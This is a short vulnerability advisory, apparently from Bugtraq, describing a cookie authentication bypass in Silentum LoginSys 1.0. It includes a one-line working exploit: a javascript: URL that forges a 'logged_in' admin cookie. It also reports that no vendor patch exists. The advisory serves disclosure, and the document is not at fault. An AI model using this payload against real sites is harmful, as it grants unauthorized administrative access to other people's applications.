Silentum LoginSys Cookie Authentication Bypass Vulnerability

Bugtraq ID:	33031
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 29 2008 12:00AM
Updated:	Jan 02 2009 05:01PM
Credit:	Osirys
Vulnerable:	Silentum LoginSys Silentum LoginSys 1.0
Not Vulnerable:

Silentum LoginSys Cookie Authentication Bypass Vulnerability

Silentum LoginSys is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.

Silentum LoginSys 1.0.0 is vulnerable; other versions may also be affected.

Silentum LoginSys Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following exploit is available:

javascript:document.cookie = "logged_in=admin_username; path=/";

Silentum LoginSys Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Silentum LoginSys Cookie Authentication Bypass Vulnerability

References:

• Silentum LoginSys Download page (Silentum LoginSys)